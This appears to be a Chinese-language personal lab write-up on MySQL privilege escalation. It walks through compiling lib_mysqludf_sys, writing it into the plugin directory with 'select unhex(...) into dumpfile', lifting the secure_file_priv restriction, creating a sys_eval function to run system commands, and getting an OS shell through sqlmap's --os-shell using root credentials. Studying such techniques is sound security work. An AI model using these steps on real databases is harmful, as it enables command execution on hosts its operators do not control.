mysql的提权原理就是让mysql能够执行系统命令,
而对与mysql的提权主要分为两种:MOF提权和UDF提权
第一种:
参考文献:
https://www.cnblogs.com/zhuyp1015/p/3561470.html
https://www.cnblogs.com/mmx8861/p/9062363.html
https://www.cnblogs.com/ghc666/p/8609067.html
https://www.jianshu.com/p/83855733c749
http://vinc.top/2017/04/19/mysql-udf提权linux平台/
https://blog.csdn.net/qq_28921653/article/details/54174341
1实验环境:
ubuntu 18.04tl
首相需要安装mysql,在ubuntu上按装挺简单的的,只需要几个命令就ok了,顺便记一下mysql的密码修改。
sudo apt-get update
sudo apt-get install mysql-server
apt-get install mysql-client
sudo apt-get install libmysqlclient-dev
myslq
set password for root@localhost = password('密码');
现在mysql就安装成功了,接下来就是关于mysql的提权问题
若mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
若mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\
这里我用的是ubuntu进行复现的,mysql版本>5.2
下载lib_mysqludf_sys程序
github:https://github.com/mysqludf/lib_mysqludf_sys
编译获取lib_mysqludf_sys.so文件
$ gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
如果出现缺少文件的报错
$ sudo apt-get install libmysql++-dev
网上说的可以直接在linux里下载,但是在实验中,缺出现了不知名的错误,我才用的是在windows 里下载解压,然后在传上去
先查看需要插入的路径
mysql> show variables like '%plugin%';
将下载的lib_mysqludf_sys.so文件以16进制写入到plugin_dir路径中,但是ubuntu有一个安全路径,只能写到那个里面,要是调用的话只能是在plugin这个路径下调用,所以直接复制粘贴进去了
mysql> select unhex('7F454C************此处省略n个字9*****') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
(详情请见https://www.jianshu.com/p/83855733c749)
此时出现一个问题:
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
经查询后发现,mysql 默认对导出的目录有权限限制,也就是说使用命令行进行导出的时候,需要指定目录进行操作,
https://blog.csdn.net/u011677147/article/details/64129606
https://blog.csdn.net/HHTNAN/article/details/78520511
我们执行
show global variables like '%secure%';
发现
secure_file_priv这个参数用来限制数据导入和导出操作的效果如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入
而我们查看ubuntu的/usr/lib,发现没有该文件,也就是文件为空,所以我们要修改这个值,这也就意味这在mysql 版本为5.7.6 版本后,若管理员未设置该值时,我们就不能进行导入和导出操作。若是挖洞碰见这个了,目前以我的水平估计就到此位置了。
有位大佬是这样解决这个问题的,当然我按照这个没有解决,由于这一步的原理就是将那个lib_mysqludf_sys.so重命名写入/usr.lib/mysql/plugin 路径下的,我就直接将文件粘贴过去了
secure_file_priv
1、限制mysqld 不允许导入 | 导出
mysqld –secure_file_prive=null
2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
mysqld –secure_file_priv=/tmp/
3、不对mysqld 的导入 | 导出做限制
cat /etc/my.cnf
[mysqld]
secure_file_priv
当然了,现在修改这个参数
修改/etc/mysql/mysql.conf.d/mysqld.cnf文件
在末尾添加一句secure_file_priv=即可将数据导出到任意目录
执行第二步
创建需要用的函数
mysql> create function sys_eval returns string soname 'mysqludf.so';
调用函数
mysql> select sys_eval('whoami');
删除函数
mysql> drop function sys_eval;
查看当前用户权限:select * from mysql.user where user=substring_index(user(),'@',1);
@@version_compile_os展示MySQL结构,@@ version_compile_machine展示操作系统的结构:select @@version_compile_os, @@version_compile_machine;
限制条件:
1)mysql root账号弱口令
2)mysql启动账户需要有插件目录的写入权限,例如yum安装的mysql
[root@template tmp]# ls -ald /usr/lib64/mysql/plugin
drwxr-xr-x. 2 root root 4096 4月 25 08:33 /usr/lib64/mysql/plugin
而mysql的默认启动账户是mysql,是没有写入权限的。
第二种方法:
另外MySQL 5.x中增加了system命令,可以直接执行系统命令。
mysql> system whoami;
第三种方法:
(1)sqlmap通过root的账号和密码连接上远程的数据库
(2)sqlmap将udf文件夹下对应系统平台的64位或者32位的动态链接库文件上传到远程数据库的mysql/plugin/目录下
(3)sqlmap用过已经上传的动态链接库文件来调用system函数来执行用户输入的命令
root@kali:~# sqlmap -d "mysql://root:Hehe123456@192.168.192.120:3306/test" --os-shell
剩下的就是输入命令了
第四种:
MOF提权
暂时不会,相关链接:http://www.cnblogs.com/R4v3n/articles/9025499.html
日后会跟新
网友评论